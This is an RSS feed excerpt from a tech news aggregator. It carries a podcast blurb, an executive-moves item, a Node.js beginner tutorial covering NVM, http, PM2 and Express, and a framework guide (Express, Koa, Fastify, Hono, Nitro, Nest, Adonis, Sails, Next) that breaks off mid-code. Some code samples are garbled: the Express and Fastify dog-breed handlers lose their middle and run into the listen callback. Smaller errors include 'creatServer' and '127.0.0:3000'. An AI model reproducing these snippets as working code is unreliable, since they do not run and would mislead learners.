<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Most CMOs come up through marketing. Ash Parikh came up through engineering and sales, and he thinks that is exactly why he does the job differently.

He joins Gianna and Charles on CyberCMO Confidential as the CMO of Absolute Security to talk about what 25 years of carrying a bag, presenting to boards, and running marketing at some of the biggest names in cybersecurity taught him. He’s banned MQLs, replaced them with handraisers built on real intent signals, and has strong opinions on why most marketers are not ready for a buying process that is growing harder to see every year.]]></content:encoded>
</item>
<item>
<title><![CDATA[Tech Moves: Remitly CMO departs; Temporal names EVP; Veeam and Qualtrics leadership changes]]></title>
<description><![CDATA[Rina Hahn leaves role as Remitly's CMO; Temporal promotes Preeti Somal to EVP amid reorganization; and Veeam and Qualtrics make leadership changes.  Read More]]></description>
<link>https://tsecurity.de/de/3666102/it-nachrichten/tech-moves-remitly-cmo-departs-temporal-names-evp-veeam-and-qualtrics-leadership-changes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666102/it-nachrichten/tech-moves-remitly-cmo-departs-temporal-names-evp-veeam-and-qualtrics-leadership-changes/</guid>
<pubDate>Mon, 13 Jul 2026 20:02:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="400" height="400" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/Rina-Hahn.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/Rina-Hahn.jpg 400w, https://cdn.geekwire.com/wp-content/uploads/2026/07/Rina-Hahn-300x300.jpg 300w, https://cdn.geekwire.com/wp-content/uploads/2026/07/Rina-Hahn-150x150.jpg 150w, https://cdn.geekwire.com/wp-content/uploads/2026/07/Rina-Hahn-100x100.jpg 100w, https://cdn.geekwire.com/wp-content/uploads/2026/07/Rina-Hahn-200x200.jpg 200w" sizes="(max-width: 400px) 100vw, 400px"><br>Rina Hahn leaves role as Remitly's CMO; Temporal promotes Preeti Somal to EVP amid reorganization; and Veeam and Qualtrics make leadership changes.  <a href="https://www.geekwire.com/2026/tech-moves-remitly-cmo-departs-temporal-names-evp-veeam-and-qualtrics-leadership-changes/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js tutorial: Get started with Node]]></title>
<description><![CDATA[Node.js is a popular and versatile cross-platform JavaScript runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in server-side JavaScript. Its ease of use, massive ecosystem and performance characteristic...]]></description>
<link>https://tsecurity.de/de/3665674/ai-nachrichten/nodejs-tutorial-get-started-with-node/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665674/ai-nachrichten/nodejs-tutorial-get-started-with-node/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is a popular and versatile cross-platform <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in <a href="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html">server-side JavaScript</a>. Its ease of use, massive ecosystem and performance characteristics have continued to secure its place as one of the most important technologies of the modern web.</p>



<p class="wp-block-paragraph">Anytime you need to run JavaScript on the server—be it for a systems utility, a REST API, data processing, or anything else—Node is an excellent choice. There are newer runtimes, namely <a href="https://www.infoworld.com/article/2336271/deno-vs-nodejs-which-is-better.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a>, but Node remains the standard for server-side JavaScript.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2252306/10-javascript-concepts-every-nodejs-developer-must-master.html">10 JavaScript concepts you need to succeed with Node</a>.</strong></p>



<h2 class="wp-block-heading">Getting started with Node</h2>



<p class="wp-block-paragraph">If you haven’t already experienced Node, this article will introduce you. We’ll step through installing Node and the NPM package manager, spinning up a simple web server, and using the Node cluster module to take advantage of multiple CPU cores.</p>



<p class="wp-block-paragraph">We’ll also look at using the NPM package manager to install additional Node modules and other JavaScript packages. And we’ll dip a toe into using a Node framework, in this case the ubiquitous <a href="https://www.infoworld.com/article/3615615/intro-to-express-js-endpoints-parameters-and-routes.html">Express server</a>, to create more feature-rich and flexible Node.js servers. Let’s get started!</p>



<h2 class="wp-block-heading">Installing Node and NPM</h2>



<p class="wp-block-paragraph">There are <a href="https://docs.npmjs.com/downloading-and-installing-node-js-and-npm">a few ways to install Node</a>, including the installer that <a href="https://docs.npmjs.com/downloading-and-installing-node-js-and-npm">Node itself provides</a>, but the recommended way is with a version manager. The most common version manager is <a href="https://github.com/nvm-sh/nvm">NVM</a>. This makes it easy to install Node and change versions when you need to. (There is also a Microsoft Windows-specific version called <a href="https://github.com/coreybutler/nvm-windows/releases">nvm-windows</a>.)</p>



<p class="wp-block-paragraph">NVM can be installed with an installer or using a CLI. In the following example, we use <code>curl</code>:</p>



<pre class="wp-block-code"><code>
$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash</code></pre>



<p class="wp-block-paragraph">Once you have NVM installed, installing the most recent version of Node is simple:</p>



<pre class="wp-block-code"><code>
$ nvm install latest
</code></pre>



<p class="wp-block-paragraph">The <code>install latest</code> command makes the latest version available. Mine is Node 24.9.0, so I activate it with:</p>



<pre class="wp-block-code"><code>$ nvm use 24.9.0</code></pre>



<p class="wp-block-paragraph">Anytime you need to install another version of Node, you can use <code>nvm install</code> and <code>nvm use</code> to switch between them.</p>



<p class="wp-block-paragraph">You should now see Node available at your command prompt:</p>



<pre class="wp-block-code"><code>
$ node -v

v24.9.0</code></pre>



<p class="wp-block-paragraph">When you install Node this way, the Node package manager (NPM) is also installed:</p>



<pre class="wp-block-code"><code>$ npm -v

11.6.0</code></pre>



<p class="wp-block-paragraph">Note that using NVM also avoids potential permissions issues with NPM packages when using the installer.</p>



<h2 class="wp-block-heading">A simple web server in Node</h2>



<p class="wp-block-paragraph">To start simply, we can use <a href="https://nodejs.org/api/synopsis.html">an example from the Node homepage</a>. Copy the Synopsis example code as directed there and paste it into your code editor, then save it as <code>example.js</code>:</p>



<pre class="wp-block-code"><code>
const http = require('node:http');

const hostname = '127.0.0.1';
const port = 3000;

const server = http.createServer((req, res) =&gt; {
  res.statusCode = 200;
  res.setHeader('Content-Type', 'text/plain');
  res.end('Hello, InfoWorld!\n');
});

server.listen(port, hostname, () =&gt; {
  console.log(`Server running at http://${hostname}:${port}/`);
});</code></pre>



<p class="wp-block-paragraph">Open a shell in the directory where you saved the file, and run the file from your command line:</p>



<pre class="wp-block-code"><code>
$ node example.js

Server running at http://127.0.0.1:3000/</code></pre>



<p class="wp-block-paragraph">You can now go to the browser and check it out at <code>127.0.0:3000</code>, and you should see a simple greeting. Back at the terminal, press <strong>Control-C</strong> to stop the running server.</p>



<p class="wp-block-paragraph">Before we go further, let’s pull apart the code.</p>



<h3 class="wp-block-heading">Creating a simple HTTP server with Node</h3>



<p class="wp-block-paragraph">We start with the command:</p>



<pre class="wp-block-code"><code>const http = require(‘http’);</code></pre>



<p class="wp-block-paragraph">This is how you include a module in your code, in this case, the standard <a href="https://nodejs.org/api/http.html">http module</a>. (The <code>http</code> module ships with Node, so you don’t have to add it as a dependency.) This module provides the <a href="https://nodejs.org/api/http.html#http_http_createserver_requestlistener">createServer</a> and <code>listen</code> functions we’ll use later on.</p>



<p class="wp-block-paragraph">You might have noted that this example used a <a href="https://nodejs.org/api/modules.html">CommonJS</a> import. While older, this style of import is still very common in Node programs as well as some documentation. However, it’s gradually being phased out in favor of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules">ES Modules</a> (ESM), the standardized module system introduced in ECMAScript 2015. An ESM import would look like this:</p>



<pre class="wp-block-code"><code>import http from 'http';</code></pre>



<p class="wp-block-paragraph">After we import the <code>http</code> module, we define a couple of values we need (<code>hostname</code> and <code>port</code>):</p>



<pre class="wp-block-code"><code>const hostname = '127.0.0.1';

const port = 3000;</code></pre>



<p class="wp-block-paragraph">Next, we create the server:</p>



<pre class="wp-block-code"><code>const server = http.createServer((req, res) =&gt; {
  res.statusCode = 200;
  res.setHeader(‘Content-Type’, ‘text/plain’);
  res.end(‘Hello World\n’);
});</code></pre>



<p class="wp-block-paragraph">The <code>creatServer </code>command accepts a callback function, which we define using the fat arrow notation. The callback function passes two arguments, the request (<code>req</code>) and response (<code>res</code>) objects needed to handle HTTP requests. The <code>req</code> argument contains the incoming HTTP request, which in this case is ignored. The <code>res.end</code> method sets the response data to <code>‘Hello InfoWorld\n’</code> and tells the server that it is done creating the response.</p>



<p class="wp-block-paragraph">Next, we have:</p>



<pre class="wp-block-code"><code>server.listen(port, hostname, () =&gt; {
  console.log(`Server running at http://${hostname}:${port}/`);
});</code></pre>



<p class="wp-block-paragraph">The <code>server.listen</code> function accepts three arguments. The first two are the <code>port</code> and <code>hostname</code>, and the third is a callback that is executed when the server is ready (in this case, it prints a message to the console).</p>



<p class="wp-block-paragraph">Having all the event handlers defined as callbacks is one of the most subtle and powerful parts of Node. It’s key to Node’s asynchronous non-blocking architecture.</p>



<p class="wp-block-paragraph">Node.js runs on <a href="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html">an event loop</a>, which always reverts to handling events when not otherwise engaged. It’s like a busy order-taker continually picking up orders and then updating the order-maker with their order. We receive updates via the callbacks.</p>



<h2 class="wp-block-heading">A multi-process web server with Node</h2>



<p class="wp-block-paragraph">Node’s asynchronous, non-blocking nature makes it good at handling many parallel requests, but it’s not truly concurrent by default. There are <a href="https://www.infoworld.com/article/2513020/intro-to-multithreaded-javascript.html">a few ways to make a Node application use multiple threads</a> for true concurrency. One of the simplest is to use the <a href="https://pm2.keymetrics.io/">PM2 project</a>, which lets you run the same Node application in many processes.</p>



<p class="wp-block-paragraph">By launching each application instance in its own process, the operating system can make use of multiple cores on the machine. This is not usually a concern at first, but it’s a key performance consideration to bear in mind.</p>



<p class="wp-block-paragraph">You can install PM2 globally like so:</p>



<pre class="wp-block-code"><code>$ npm install -g pm2</code></pre>



<p class="wp-block-paragraph">For our example, we want to make it obvious that the different processes are handling requests. We can achieve that goal with a small change to the server:</p>



<pre class="wp-block-code"><code>res.end(`Hello, InfoWorld! Handled by ${process.pid}`);</code></pre>



<p class="wp-block-paragraph">The <code>process.pid </code>field is a built-in environment variable, providing a unique ID for the currently running process in Node. Once PM2 is installed and the app is updated, we can run it like so:</p>



<pre class="wp-block-code"><code>$ pm2 start example.js -i max</code></pre>



<p class="wp-block-paragraph">That should launch several instances of the same program, as shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Node-tutorial-fig3v2.png?w=1024" alt="Screenshot of a multi-process Node-based web server running several instances of the same program." class="wp-image-4089570" width="1024" height="575" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Then, if you open multiple windows, you can see the unique ID of each instance:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Node-tutorial-fig2v2.png?w=1024" alt="Screenshot of a Node-based multi-process web server showing the unique ID of each instance." class="wp-image-4089571" width="1024" height="536" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<h2 class="wp-block-heading">An Express web server with Node</h2>



<p class="wp-block-paragraph">For our final example, we’ll look at setting up an <a href="https://www.infoworld.com/article/3615615/intro-to-express-js-endpoints-parameters-and-routes.html">Express</a> web server in Node. This time we’ll use NPM to download Express and its dependencies. NPM is one of the greatest storehouses of software on the planet, with literally <a href="https://www.npmjs.com/">millions of libraries available</a>. Knowing how to use it is essential for working with Node.</p>



<p class="wp-block-paragraph">NPM works just like other package managers you may have used, letting you define and install dependencies in a structured way. To install Express, go to your project directory and type:</p>



<pre class="wp-block-code"><code>$ npm install express</code></pre>



<p class="wp-block-paragraph">Node should respond with something like: <code>added 68 packages in 5s</code>.</p>



<p class="wp-block-paragraph">You will notice several directories have been added to a <code>/node_modules</code> directory. Those are all the dependencies needed for Express. You usually don’t have to interact with <code>node_modules</code> yourself, but it’s good to know that’s where things are saved.</p>



<p class="wp-block-paragraph">Now look at the <code>package.json</code> file, which will have something like this in it:</p>



<pre class="wp-block-code"><code>{
  "dependencies": {
	"express": "^5.1.0"
  }
}</code></pre>



<p class="wp-block-paragraph">This is how dependencies are defined in NPM. It says the application needs the express dependency at version 5.1.0 (or greater).</p>



<h3 class="wp-block-heading">Setting up the Express server in Node</h3>



<p class="wp-block-paragraph">Express is one of the most-deployed pieces of software on the Internet. It can be a minimalist server framework for Node that handles all the essentials of HTTP, and it’s also expandable using “middleware” plugins.</p>



<p class="wp-block-paragraph">Since we’ve already installed Express, we can jump right into defining a server. Open the <code>example.js</code> file we used previously and replace the contents with this simple Express server:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

app.get('/', (req, res) =&gt; {
  res.send('Hello, InfoWorld!');
});

app.listen(port, () =&gt; {
  console.log(`Express server at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">This program does the same thing as our earlier <code>http</code> module version. The most important change is that we’ve added routing. Express makes it easy for us to associate a URL path, like the root path (<code>‘/’</code>), with the handler function.</p>



<p class="wp-block-paragraph">If we wanted to add another path, it could look like this:</p>



<pre class="wp-block-code"><code>app.get('/about', (req, res) =&gt; {
  res.send('This is the About page.');
});</code></pre>



<p class="wp-block-paragraph">Once we have the basic web server set up with one or more paths, we’ll probably need to create a few API endpoints that respond with JSON. Here’s an example of a route that returns a JSON object:</p>



<pre class="wp-block-code"><code>app.get('/api/user', (req, res) =&gt; {
  res.json({
	id: 1,
	name: 'John Doe',
	role: 'Admin'
  });
});</code></pre>



<p class="wp-block-paragraph">That’s a simple example, but it gives you a taste of working with Express in Node.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">In this article you’ve seen how to install Node and NPM and how to set up both simple and more advanced web servers in Node. Although we’ve only touched on the basics, these examples demonstrate many elements that are required for all Node applications, including the ability to import modules.</p>



<p class="wp-block-paragraph">Whenever you need a package to do something in Node, you will more than likely find it available on <a href="https://www.npmjs.com/">NPM</a>. Visit the official site and use the search feature to find what you need. For more information about a package, you can use the <a href="http://npms.io/">npms.io</a> tool. Keep in mind that a project’s health depends on its weekly download metric (visible on NPM for the package itself). You can also check a project’s GitHub page to see how many stars it has and how many times it’s been forked; both are good measures of success and stability. Another important metric is how recently and frequently the project is updated and maintained. That information is also visible on a project’s GitHub Insights page.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The complete guide to Node.js frameworks]]></title>
<description><![CDATA[Node.js is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.



This article is a qui...]]></description>
<link>https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.</p>



<p class="wp-block-paragraph">This article is a quick tour of the most popular web frameworks for <a href="https://www.infoworld.com/article/2257958/nodejs-tutorial-get-started-with-nodejs.html">server development on Node.js</a>. We’ll look at minimalist tools like Express.js, batteries-included frameworks like Nest.js, and full-stack frameworks like Next.js. You’ll get an overview of the frameworks and a taste of what it’s like to write a simple server application in each one.</p>



<h2 class="wp-block-heading">Minimalist web frameworks</h2>



<p class="wp-block-paragraph">When it comes to Node web frameworks, <em>minimalist</em> doesn’t mean limited. Instead, these frameworks provide the essential features required to do the job for which they are intended. The frameworks in this list also tend to be highly extensible, so you can customize them as needed. With minimalist frameworks, pluggable extensibility is the name of the game.</p>



<h3 class="wp-block-heading">Express.js</h3>



<p class="wp-block-paragraph">At over 47 million weekly downloads on npm, Express is one of the most-installed software packages of all time—and for good reason. Express gives you basic web endpoint routing and request-and-response handling inside an extensible framework that is easy to understand. Most other frameworks in this category have adopted the basic style of describing a route from Express. This framework is the obvious choice when you simply need to create some routes for HTTP, and you don’t mind a DIY approach for anything extra.</p>



<p class="wp-block-paragraph">Despite its simplicity, Express is fully-featured when it comes to things like route parameters and request handling. Here is a simple Express endpoint that returns a dog breed based on an ID:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

// In-memory array of dog breeds
const dogBreeds = [
  "Shih Tzu",
  "Great Pyrenees",
  "Tibetan Mastiff",
  "Australian Shepherd"
];
app.get('/dogs/:id', (req, res) =&gt; {
  // Convert the id from a string to an integer
  const id = parseInt(req.params.id, 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id  {
  console.log(`Server running at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">You can easily see how the route is defined here: a string representation of a URL, followed by a function that receives a request and response object. The process of creating the server and listening on a port is simple.</p>



<p class="wp-block-paragraph">If you are coming from a framework like Next, the biggest thing you might notice about Express is that it lacks a file-system based router. On the other hand, it offers a huge range of <a href="https://expressjs.com/en/resources/middleware.html">middleware plugins</a> to help with essential functions like security.</p>



<h3 class="wp-block-heading">Koa</h3>



<p class="wp-block-paragraph"><a href="https://koajs.com/">Koa</a> was created by the original creators of Espress, who took the lessons learned from that project and used them for a fresh take on the JavaScript server. Koa’s focus is providing a minimalist core engine. It uses <code>async</code>/<code>await</code> functions for middleware rather than chaining with <code>next()</code> calls. This can give you a cleaner server, especially when there are many plugins. It also makes the error handling less clunky for middleware.</p>



<p class="wp-block-paragraph">Koa also differs from Express by exposing a unified context object instead of separate request and response objects, which makes for a somewhat less cluttered API. Here is how Koa manages the same route we created in Express:</p>



<pre class="wp-block-code"><code>router.get('/dogs/:id', (ctx) =&gt; {
  const id = parseInt(ctx.params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    ctx.status = 200;
    ctx.body = { breed: dogBreeds[id] };
  } else {
    ctx.status = 404;
    ctx.body = { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">The only real difference is the combined context object.</p>



<p class="wp-block-paragraph">Koa’s middleware mechanism is also worth a look. Here’s a simple logging plugin in Koa:</p>



<pre class="wp-block-code"><code>const logger = async (ctx, next) =&gt; {
  await next(); // This passes control to the router
  console.log(`${ctx.method} ${ctx.url} - ${ctx.status}`);
};

// Use the logger middleware for all requests
app.use(logger);	</code></pre>



<h3 class="wp-block-heading">Fastify</h3>



<p class="wp-block-paragraph"><a href="https://fastify.dev/">Fastify</a> lets you define schemas for your APIs. This is an up-front, formal mechanism for describing what the server supports:</p>



<pre class="wp-block-code"><code>const schema = {
  params: {
    type: 'object',
    properties: {
      id: { type: 'integer' }
    }
  },
  response: {
    200: {
      type: 'object',
      properties: {
        breed: { type: 'string' }
      }
    },
    404: {
      type: 'object',
      properties: {
        error: { type: 'string' }
      }
    }
  }
};

fastify.get('/dogs/:id', { schema }, (request, reply) =&gt; {
  const id = request.params.id;

  if (id &gt;= 0 &amp;&amp; id  {
  if (err) {
    fastify.log.error(err);
    process.exit(1);
  }
  console.log(`Server running at ${address}`);
});</code></pre>



<p class="wp-block-paragraph">From this example, you can see the actual endpoint definition is similar to Express and Koa, but we define a schema for the API. The schema is not strictly necessary; it is possible to define endpoints without it. In that case, Fastify behaves much like Express, but with superior performance.</p>



<h3 class="wp-block-heading">Hono</h3>



<p class="wp-block-paragraph"><a href="https://hono.dev/">Hono</a> emphasizes simplicity. You can define a server and endpoint with as little as:</p>



<pre class="wp-block-code"><code>const app = new Hono()
app.get('/', (c) =&gt; c.text('Hello, Infoworld!'))  </code></pre>



<p class="wp-block-paragraph">And here’s how our dog breed example looks:</p>



<pre class="wp-block-code"><code>app.get('/dogs/:id', (c) =&gt; {
  // Get the id parameter from the request URL
  const id = parseInt(c.req.param('id'), 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // Return a JSON response with a 200 OK status (default)
    return c.json({ breed: dogBreeds[id] });
  } else {
    // Set status to 404 and return a JSON error message
    c.status(404);
    return c.json({ error: 'Dog breed not found' });
  }
});</code></pre>



<p class="wp-block-paragraph">As you can see, Hono provides a unified context object, similar to Koa.</p>



<h3 class="wp-block-heading">Nitro.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Nitro</a> is the back end for several full-stack frameworks, including Nuxt.js. As part of the UnJS ecosystem, Nitro goes further than Express in providing cloud-native tooling support. It includes a universal storage adapter and deployment support for serverless and cloud deployment targets.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Intro to Nitro: The server engine built for modern JavaScript</a>.</strong></p>



<p class="wp-block-paragraph">Like Next.js, Nitro uses filesystem-based routing, so our Dog Finder API would exist at the following filepath:</p>



<pre class="wp-block-code"><code>/api/dogs/:id</code></pre>



<p class="wp-block-paragraph">The handler might look like this:</p>



<pre class="wp-block-code"><code>export default defineEventHandler((event) =&gt; {
  // Get the dynamic parameter from the event context
  const { id } = getRouterParams(event);
  const parsedId = parseInt(id, 10);

  // Check if the id is a valid number and within the array bounds
  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // Nitro handles JSON serialization
    return { breed: dogBreeds[parsedId] };
  } else {
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Nitro inhabits the middle ground between a pure tool like Express and a full-blown stack, which is why full-stack front ends often use Nitro on the back end.</p>



<h2 class="wp-block-heading">Batteries-included frameworks</h2>



<p class="wp-block-paragraph">Although Express and other minimalist frameworks set the standard for simplicity, more opinionated frameworks can be useful if you want additional features out of the box.</p>



<h3 class="wp-block-heading">Nest.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Nest</a> is a progressive framework built with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> from the ground up. Nest is actually a layer on top of Express (or Fastify), with additional services. It is inspired by Angular and incorporates the kind of architectural support found there. In particular, it includes dependency injection. Nest also uses annotated controllers for endpoints.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Intro to Nest.js: Server-side JavaScript development on Node</a>.</strong></p>



<p class="wp-block-paragraph">Here is an example of injecting a dog finder provider into a controller:</p>



<pre class="wp-block-code"><code>// The provider:
import { Injectable, NotFoundException } from '@nestjs/common';

// The @Injectable() decorator marks this class as a provider.
@Injectable()
export class DogsService {
  private readonly dogBreeds = [
    "Shih Tzu",
    "Great Pyrenees",
    "Tibetan Mastiff",
    "Australian Shepherd"
  ];

  findOne(id: number) {
    if (id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      return { breed: this.dogBreeds[id] };
    }
    // NestJS has built-in HTTP exception classes for common errors.
    throw new NotFoundException('Dog breed not found');
  }
}

// The controller

import { Controller, Get, Param, ParseIntPipe } from '@nestjs/common';
import { DogsService } from './dogs.service';

@Controller('dogs')
export class DogsController {
  // NestJS injects the DogsService through the constructor.
  // The 'private readonly' syntax is a TypeScript shorthand
  // to both declare and initialize the dogsService member.
  constructor(private readonly dogsService: DogsService) {}

  @Get(':id')
  findOneDog(@Param('id', ParseIntPipe) id: number) {
    // We can now use the service's methods. The ParseIntPipe
    // automatically converts the string URL parameter to a number.
    return this.dogsService.findOne(id);
  }
}</code></pre>



<p class="wp-block-paragraph">This style is typical of dependency injection frameworks like <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Angular</a>, as well as <a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a>. It allows you to declare components as injectable, then consume them anywhere you need them.</p>



<p class="wp-block-paragraph">In Nest, we’d just add these as modules to make them live.</p>



<h3 class="wp-block-heading">Adonis.js</h3>



<p class="wp-block-paragraph">Like Nest, <a href="https://adonisjs.com/">Adonis</a> provides a controller layer that you wire together with routes. Adonis is inspired by the model-view-controller (MVC) pattern, so it also includes a layer for modelling data and accessing stores via an ORM. Finally, it provides a validator layer for ensuring data meets requirements.</p>



<p class="wp-block-paragraph">Routes in Adonis are very simple:</p>



<pre class="wp-block-code"><code>Route.get('/dogs/:id', [DogsController, 'show'])</code></pre>



<p class="wp-block-paragraph">In this case, <code>DogsController</code> would be the handler for the route, and might look something like:</p>



<pre class="wp-block-code"><code>import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'  // Note, ioc means inversion of control, similar to dependency injection

export default class DogsController {
  // The 'show' method handles the logic for the route
  public async show({ params, response }: HttpContextContract) {
    const id = Number(params.id);

    // Check if the id is a valid number and within the array bounds
    if (!isNaN(id) &amp;&amp; id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      // Use the response object to send a 200 OK JSON response
      return response.ok({ breed: this.dogBreeds[id] });
    } else {
      // Send a 404 Not Found response
      return response.notFound({ error: 'Dog breed not found' });
    }
  }
}</code></pre>



<p class="wp-block-paragraph">Of course, in a real application, we could define a model layer to handle the actual data access.</p>



<h3 class="wp-block-heading">Sails</h3>



<p class="wp-block-paragraph"><a href="https://sailsjs.com/">Sails</a> is another MVC-style framework. It is one of the original one-stop-shopping frameworks for Node and includes an ORM layer (<a href="https://sailsjs.com/documentation/reference/waterline-orm">Waterline</a>), API generation (<a href="https://sailsjs.com/documentation/reference/blueprint-api">Blueprints</a>), and realtime support, including <a href="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html" data-type="link" data-id="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html">WebSockets</a>.</p>



<p class="wp-block-paragraph">Sails strives for conventional operation. For example, here’s how you might define a simple model for dogs:</p>



<pre class="wp-block-code"><code>/**
 * Dog.js
 *
 * @description :: A model definition represents a database table/collection.
 * @docs        :: https://sailsjs.com/docs/concepts/models
 */
module.exports = {
  attributes: {
    breed: { type: 'string', required: true },
  },
};</code></pre>



<p class="wp-block-paragraph">If you run this in Sails, the framework will generate default routes and wire up a <a href="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html" data-type="link" data-id="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html">NoSQL</a> or SQL datastore based on your configuration. Sails also provides the option to override these defaults and add in your own custom logic.</p>



<h2 class="wp-block-heading">Full-stack frameworks</h2>



<p class="wp-block-paragraph">Also known as <a href="https://www.infoworld.com/article/3486850/state-of-javascript-insights-from-the-latest-javascript-community-survey.html">meta-frameworks</a>, these tools combine a front-end framework with a solid back end and various CLI niceties like build chains.</p>



<h3 class="wp-block-heading">Next.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4078213/next-js-16-features-explicit-caching-ai-powered-debugging.html">Next</a> is a React-based framework built by Vercel. It is largely responsible for the huge growth in popularity of these types of frameworks. Next was the first framework to bring together back-end API definitions with the front end that consumes them. It also introduced file-system routing. In Next and other full-stack frameworks, you get both parts of your stack in one place and you can run them together during development.</p>



<p class="wp-block-paragraph">In Next, we could define a route at <code>pages/api/dogs/[id].js</code> like so:</p>



<pre class="wp-block-code"><code>export default function handler(req, res) {
  // `req.query.id` comes from the dynamic filename [id].js
  const { id } = req.query;
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // If the ID is valid, return the data
    res.status(200).json({ breed: dogBreeds[parsedId] });
  } else {
    // Otherwise, return a 404 error
    res.status(404).json({ error: 'Dog breed not found' });
  }
}</code></pre>



<p class="wp-block-paragraph">We’d then define the UI component to interact with this route at <code>pages/dogs/[id].js</code>:</p>



<pre class="wp-block-code"><code>import React from 'react';

// This is the React component that renders the page.
// It receives the `dog` object as a prop from getServerSideProps.
function DogPage({ dog }) {
